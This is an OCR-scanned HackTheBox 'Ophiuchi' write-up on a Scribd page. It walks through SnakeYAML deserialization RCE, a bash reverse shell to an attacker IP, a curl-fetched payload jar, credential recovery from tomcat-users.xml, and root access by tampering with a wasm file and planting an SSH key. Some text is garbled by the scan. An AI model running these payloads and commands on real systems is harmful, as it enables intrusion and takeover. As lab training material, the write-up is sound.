Open navigation menu
Close suggestions
Search
Search
en
Change Language
Upload
Sign in
Sign in
Download free for days
0 ratings
0% found this document useful (0 votes)
708 views
HTB Ophiuchi
Uploaded by
GinaAlexandra
AI-enhanced title
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content,
claim it here
.
Available Formats
Download as PDF or read online on Scribd
Download now
Download
Save htb ophiuchi For Later
Download
Save
Save htb ophiuchi For Later
0%
0% found this document useful, undefined
0%
, undefined
Embed
Share
Print
Report
0 ratings
0% found this document useful (0 votes)
708 views
HTB Ophiuchi
Uploaded by
GinaAlexandra
AI-enhanced title
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content,
claim it here
.
Available Formats
Download as PDF or read online on Scribd
Download now
Download
Save htb ophiuchi For Later
Carousel Previous
Carousel Next
Save
Save htb ophiuchi For Later
0%
0% found this document useful, undefined
0%
, undefined
Embed
Share
Print
Report
Download now
Download
You are on page 1
/ 11
Search
Fullscreen
‘uayz02 Hacithebex Ophiuchi- Witeup — fmash's blog Hackthebox Ophiuchi - Writeup Cire Fy (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) This is a medium difficulty hackthebox machine, a exploited using YAML deserialization vulnerablity for (mailto: fmash16agmail.comrakeVAML used in java applications, and modifying wasm QO file to get root privileges. (https: //github.com/fmash16) p s We Write the IP of the machine to our /etc/hosts file (https: //twitter.com/fmasht6) wo echo "10.10.10.227 ophiuchi.htb” >> /etc/hosts (https: //reddit.com/user/fmash16) Nmap Scan Open ports: hitpslimash16thub jfcontentwriteupsinacktheboxto-Ophiuch him ant‘uarzo2s Hacithebex Ophiuchi- Witeup — fmash's blog + 22/tep open ssh OpenSSH 8.2p1 Ubuntu 4ubuntud.1 (Ubuntu Linux; protocol 2.8) + 8080/tcp open http Apache Toncat 9.0.38 Enumeration Port 8080 - Apache tomcat server (/index.htm1) Going over to the page, we find a YAML parser. YAML is a human-readable data-serialization language. It is fmash16 connonly used for configuration files and in Student applications where data is being stored or transmitted. Infosec & Linux So lets check if we can exploit it using deserialization wulnerability. Googling for a bit, we find that SnakeYAML which is used in Java applications is 2 wilnerable to deserialization. Found a really good (mailto: fmash1 6gmail.confediua blog by Swapneil Kumar Dash here, O° {httes: //medium. com/fiswapnei ldash/snakeyanl- Enthusiast About me (/about.html) (https: //github. com/fmashts}"ilization-exnloited-béazcfaciBsa) wv . coats . n use this deserialization vulnerablity to get (http fbuitter. con/fnasht§), code execution. The original paper is to be found htto: ys ‘thub.com/mbech) hal (https: Hedi. con/user raat ‘github .con/mbechler/marshalsec thub.com/nbechler/marshalsec) And the YANL payload we are going to use is found at https: //github.con/artsploit/yaml-payload (https: //github.com/artsploit/yaml-payload). SnakeYAML deserialization exploit htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html ant‘uarzo2s (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) g (mailte oO Hacithebex Ophiuchi- Witeup — fmash's blog We clone the repo and edit AwesoneScriptEngineFactory.java file to execute are desired commands. git clone https://github.com/artsploit/yaml-payl We can execute system commands useing the Runtime. getRuntine().exec() . We write a bash script revshell.sh as follows #!/bin/sh bash -i >& /dev/tcp/10.10.14.6/8888 9>61 Next we insert the commands to be executed on target machine. We use curl to get the revshell.sh fron our machine and execute it. mash16égmail.com) (https://github.com/fmash16) vy (https: //twitter.com/fmash16) & (https: //reddit.com/user/fmash16) htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html ant‘uarzo2s Hacithebex Ophiuchi- Witeup — fmash's blog package artsploit; import javax.script.Scriptengine; import javax.script.ScriptengineFactory; import java.io. IOException; import java.util.List; public class AwesomeScriptEngineFactory implement public AwesomeScriptengineFactory() { try { Runtime. getRuntime().exec(*curl htt Runtime. getRuntime().exec("bash /tmp/ (Findex.ntal) } catch (10Exception e) { fmash16 e.printstackTrace(); Student } Infosec & Linux } Enthusiast About me (/about.html) 8 (mailto: fmash16agmail.com) E 9 Now as per the instructions, we use the following (https: //github.com/fmashl ands to get our payload jar file vy (https: //twitter..com/fmash16) é cd_yaml-payload (https: //reddit.com/user/fmasht6}rc/artsploit/AwesomeScriptengineFactory. ja jar -cvf yaml-payload.jar -C src/ . Now, we have our payload jar file. We start a python web server at port 80 and insert the following YANL into the parser to get RCE. We also open a nc listener at port 8888 to get our reverse shell. htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html‘uarzo2s Hackthebex Ophiuchi- Writeup — fmash's blog python3 -m http.server 86 !!javax.script.ScriptengineManager [ !!java.net.URLClassLoader [[ !Java.net.URL ["http://10.10.14.6/yaml-paylo i] We can now get our reverse shell as user tomcat . (/index. html) frash16 Privilege Escalation - User Student a Infosec & Linux Enthusiast Going to the home directory, we find a user named About me (/about. html) admin 8 Browsing around, we find the user creds in the file (mailto:
[email protected]
/toncat/conf/toncat-users.xsd . We find the Oo following in the file (https: //github.com/fmas (nttps:/]twitter con/aa nies username="admin" password="whythereisalimi- oS > (https: //reddit.com/user/fmash16) Creds found: User: admin Password: whythereisalimit We can now ssh into the machine as suer admin using the obtained creds. htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html sit‘uarzo2s Hacithebex Ophiuchi- Witeup — fmash's blog Privilege Escalation - root First, we check what sudo capabilities our user admin got using sudo -1. We find the following (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functi . So we can run (index.html) Jusr/bin/go run /opt/wasm-functions/index.go with root fmash16 privileges. Let’s check out the file. We get the Student following Infosec & Linux Enthusiast About me (/about.html) 8 (mailto: fmash16agmail.com) QO (https: //github.com/fmash16) vy (https: //twitter.com/fmash16) & (https: //reddit.com/user/fmash16) htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html‘uarzo2s Hackthebex Ophiuchi- Writeup — fmash's blog (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) g (mailto:
[email protected]
(nttps://eithub.con/tnast (https :/Tevittor.con/ fe (https reddit. com/user, package main import ( "fmt" wasm "github. com/wasmerio/wasmer-go/wasme s/exec” "Log" func main() { bytes, _ := wasm.ReadBytes("main.wasm") instance, _ := wasm.NewInstance(bytes) defer instance.Close() init := instance.Exports["info" result, := init() f := result.String() if (f t= "1") fmt.Println("Not ready to deploy’ } else { ) fmt.PrintIn("Ready to deploy") out, err := exec.Command("/bin/sh 16) if err != nil { log. Fatal(err) 16) } fnash16) ; fmt.Printin(string(out)) } Here, we see that, functions and variables ar imported fron the main.wasm file and checking the value of the varibale f, if it equals 1, we get ready to deploy and execute /bin/sh deploy.sh htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html ms‘uarzo2s (/index. html) fmash16 Student Infosec & Linux Hackthebex Ophiuchi- Writeup — fmash's blog What’s notable here is that absolute path is not used for main.wasm and the deploy.sh files. So we can manipulate these. These files will be read from our current working directory, from where we run the ‘index.go file. We make our working directory in tmp and copy over the main.wasm file. cd tmp mkdir work 8& cd work cp /opt/wasm-functions/main.wasm ./ We write our own deploy.sh file that echos out the id of the user. Enthusiast Hi /bin/sh About me (/about.html) echo $(id) 8 (nailto:frash!6dgnail con, we run the following as sudo (https: //github.com/fmash16) wv sudo /usr/bin/go run /opt/wasm-functions/index.g (https: //twitter.com/fmash16) é , (https: //reddit.com/user/fmasb1Ad error Not ready to deploy . So the value of f is not 1, which is read from the wasm file. Wasn is short for WebAssembly. WebAssenbly is an open standard that defines @ portable binary-code format for executable prograns, and a corresponding textual assembly language, as well as interfaces for facilitating interactions between such prograns and their host environment. htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html‘uarzo2s htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) g (mailte oO (https://github.com/fmash16) wv (https: //twitter.com/fma & (https: //reddit.com/user,
[email protected]
Hackthebex Ophiuchi- Writeup — fmash's blog The text readable format of WASM binary is WAT(Web Assembly Text). We can manipulate the value of editing the wasm file in this format. We install the toolsuit https: //gi thub. con/webassenbly/wabt (https: //github.com/webassenbly/wabt) We have 2 binaries wasm2wat and wat2wasm that we can use. We transfer the main.wasm file from the target machine to our local machine using ne cat main.wasm | nc {your-ip} {your-port} (on t ne -Lnvp {your-port} > main.wasm (on Lo) We convert the wasm to wat and get the following wasm2wat main.wasm > main.wat cat main.wat (module (type (505) (func (result i32)) (func $info (type ©) (result i32) i32.const 6) (table (;0;) 1 1 funcref) fmasffRByey (595) 16) < h16) (global (;0;) (mut i32) (i32.const 1048576) (global (;1;) 132 (432.const 1048576) (global (;2;) 132 (i32.const 1048576) (export "memory" (memory ©)) (export “info” (func $info)) (export "__data_end" (global 1)) (export "__heap_base" (global 2))) ont‘uarzo2s (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) 8 (mailto: fmash16dgmail.comip the authorized keys file at /root/.ssh/ using the oO (https: //github.com/fmash'Rs}- vy (https: //twitter.com/fma & (https: //reddit.com/user, Hacithebex Ophiuchi- Witeup — fmash's blog Here ue see that the value of f is a constant 0, we change that to 1, our required value. (1 i32.const 6) (+] i32.const 1) Now we conver the wat back to nasm and move it to our target machine working directory. wat2wasm main.wat sep main.wasm admindophiuchi.htb: /tmp/work Now, we run the sudo conmand again. And this time we get connand execution as root Ready to deploy uid=0(root) gid=0(root) groups=6(root) We get our id-rsa.pub using ssh-keygen and paste it deploy.sh fileto be able to SSH into the machine as N18) jein/sh fnashl@).) echo "ssh-rsa AAAAB3NzaClyc2EAAAADAQABAt# eee eee: zHy+9fuMs= rootakali" >> /root/.ssh/authorized_ke| Now we can ssh into root and get our root.txt file htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html sont‘uarzo2s Hackthebex Ophiuchi- Writeup — fmash's blog ssh
[email protected]
cat root. txt Generated with a sodified version of sse5 https: //eithud.con/faash16/ssg5) By frash16 © 2020-2020 (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) g (mailto: fmash16agmail.com) (https://github.com/fmash16) wv (https: //twitter.com/fmash16) (https: //reddit.com/user/fmash16) htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html an
You might also like
147-Reddish HTB Official Writeup Tamarisk
PDF
No ratings yet
147-Reddish HTB Official Writeup Tamarisk
18 pages
Student Transcript Danilo: Introduction To Academy
PDF
No ratings yet
Student Transcript Danilo: Introduction To Academy
5 pages
Multiple Choice 1
PDF
No ratings yet
Multiple Choice 1
5 pages
Vulnhub - SAHU
PDF
No ratings yet
Vulnhub - SAHU
10 pages
Vuln Hub
PDF
No ratings yet
Vuln Hub
1 page
Mcafee Network Security Platform 10.1.x Manager API Reference Guide 5-6-2022
PDF
No ratings yet
Mcafee Network Security Platform 10.1.x Manager API Reference Guide 5-6-2022
1,399 pages
SEC542 CTF Draft Presentation
PDF
No ratings yet
SEC542 CTF Draft Presentation
7 pages
Unrealircd Conf
PDF
No ratings yet
Unrealircd Conf
15 pages
Mis Fallos en Ejptv2.PDF - Es.en
PDF
No ratings yet
Mis Fallos en Ejptv2.PDF - Es.en
6 pages
The Write-Up For UniFied SP On HTB Platform
PDF
No ratings yet
The Write-Up For UniFied SP On HTB Platform
19 pages
PLLLLL 11
PDF
No ratings yet
PLLLLL 11
1 page
Pandora
PDF
No ratings yet
Pandora
21 pages
Multimaster
PDF
No ratings yet
Multimaster
33 pages
Scripted Dish's Hashed HXBXBXBD BZBZBZBXB
PDF
No ratings yet
Scripted Dish's Hashed HXBXBXBD BZBZBZBXB
1 page
© 2020 Caendra Inc. - Hera For Waptxv2 - XML Injection Labs
PDF
No ratings yet
© 2020 Caendra Inc. - Hera For Waptxv2 - XML Injection Labs
10 pages
Sample Report
PDF
No ratings yet
Sample Report
11 pages
Kerberos & KRBTGT Active Directory's Domain Kerberos Service Account - Active Directory Security
PDF
No ratings yet
Kerberos & KRBTGT Active Directory's Domain Kerberos Service Account - Active Directory Security
9 pages
Linux Command Cheat Sheet Part 1
PDF
No ratings yet
Linux Command Cheat Sheet Part 1
5 pages
XSS (Cross Site Scripting) Cheat Sheet Esp: For Filter Evasion
PDF
No ratings yet
XSS (Cross Site Scripting) Cheat Sheet Esp: For Filter Evasion
18 pages
Pivoting
PDF
100% (1)
Pivoting
2 pages
Top 100 Linux Commands PDF Free Download
PDF
No ratings yet
Top 100 Linux Commands PDF Free Download
22 pages
Report Vulnerability Template
PDF
No ratings yet
Report Vulnerability Template
23 pages
HackTheBox - Bucket Walkthrough
PDF
No ratings yet
HackTheBox - Bucket Walkthrough
11 pages
Operation System Non-Metasploit
PDF
No ratings yet
Operation System Non-Metasploit
7 pages
Aero HackTheBox Solution
PDF
No ratings yet
Aero HackTheBox Solution
14 pages
05. Windows Lateral Movement
PDF
No ratings yet
05. Windows Lateral Movement
93 pages
WsCube Tech - Penetration Testing (WS-PEN) Course
PDF
100% (1)
WsCube Tech - Penetration Testing (WS-PEN) Course
6 pages
eWPTX Preparation by Joas
PDF
No ratings yet
eWPTX Preparation by Joas
1 page
GPG Cheatsheet
PDF
No ratings yet
GPG Cheatsheet
1 page
Web Attack Cheat Sheet
PDF
No ratings yet
Web Attack Cheat Sheet
42 pages
Backdoor
PDF
No ratings yet
Backdoor
15 pages
Altoro PDF
PDF
No ratings yet
Altoro PDF
101 pages
Nagoya_Proving_Grounds_Practice_Walkthrough___Medium.pdf
PDF
No ratings yet
Nagoya_Proving_Grounds_Practice_Walkthrough___Medium.pdf
20 pages
CISSP Telecommunications and Network Security
PDF
No ratings yet
CISSP Telecommunications and Network Security
1 page
Georgoa Weidman Resume
PDF
No ratings yet
Georgoa Weidman Resume
6 pages
Carlosgarcia Slides 180312234839
PDF
No ratings yet
Carlosgarcia Slides 180312234839
96 pages
ESET Windows Exploit
PDF
No ratings yet
ESET Windows Exploit
26 pages
Threat Hunting in Splunk With Zeek
PDF
No ratings yet
Threat Hunting in Splunk With Zeek
10 pages
Lab Rats Inc.: Project Plan
PDF
No ratings yet
Lab Rats Inc.: Project Plan
139 pages
© 2019 Caendra Inc. - Hera For Waptxv2 - Xxe Labs
PDF
No ratings yet
© 2019 Caendra Inc. - Hera For Waptxv2 - Xxe Labs
16 pages
Lesson 8: IPSec
PDF
No ratings yet
Lesson 8: IPSec
61 pages
Oil Spill Contingency Plan
PDF
No ratings yet
Oil Spill Contingency Plan
70 pages
Portable Executable Format
PDF
No ratings yet
Portable Executable Format
18 pages
Subdomain Enumeration Cheat Sheet: @yamakira
PDF
No ratings yet
Subdomain Enumeration Cheat Sheet: @yamakira
1 page
Web Application Firewalls: Defense in Depth For Your Web Infrastructure
PDF
No ratings yet
Web Application Firewalls: Defense in Depth For Your Web Infrastructure
6 pages
© 2018 Caendra, Inc. - Hera For PTP - SNMP Analysis
PDF
No ratings yet
© 2018 Caendra, Inc. - Hera For PTP - SNMP Analysis
13 pages
Study of Ipv6 Security Vulnerabilities: Created By: Amol Rawal, Sathyanarayhana Gopal, Rohan Kamat, Carlos E Caicedo
PDF
No ratings yet
Study of Ipv6 Security Vulnerabilities: Created By: Amol Rawal, Sathyanarayhana Gopal, Rohan Kamat, Carlos E Caicedo
55 pages
Security Testing Report: Snakerr
PDF
No ratings yet
Security Testing Report: Snakerr
37 pages
Iosciscosheets 180525165539
PDF
No ratings yet
Iosciscosheets 180525165539
37 pages
Netcat Manual
PDF
No ratings yet
Netcat Manual
7 pages
SMB Relay Attacks and Active Directory - TCM Security
PDF
No ratings yet
SMB Relay Attacks and Active Directory - TCM Security
16 pages
Archetype Write-Up: Impacket
PDF
No ratings yet
Archetype Write-Up: Impacket
17 pages
Exploit Labs Short
PDF
No ratings yet
Exploit Labs Short
17 pages
Udemy - Web Pentesting Course Slides
PDF
No ratings yet
Udemy - Web Pentesting Course Slides
103 pages
Nmap
PDF
100% (1)
Nmap
17 pages
Module 02 - Penetration Testing Scoping and Engagement Methodology
PDF
No ratings yet
Module 02 - Penetration Testing Scoping and Engagement Methodology
50 pages
Walkthroughs 2 PDF
PDF
No ratings yet
Walkthroughs 2 PDF
99 pages
Bitlab
PDF
No ratings yet
Bitlab
16 pages
Telnet Exploit
PDF
No ratings yet
Telnet Exploit
5 pages
253-Dyplesher_HTB_Official_writeup
PDF
No ratings yet
253-Dyplesher_HTB_Official_writeup
25 pages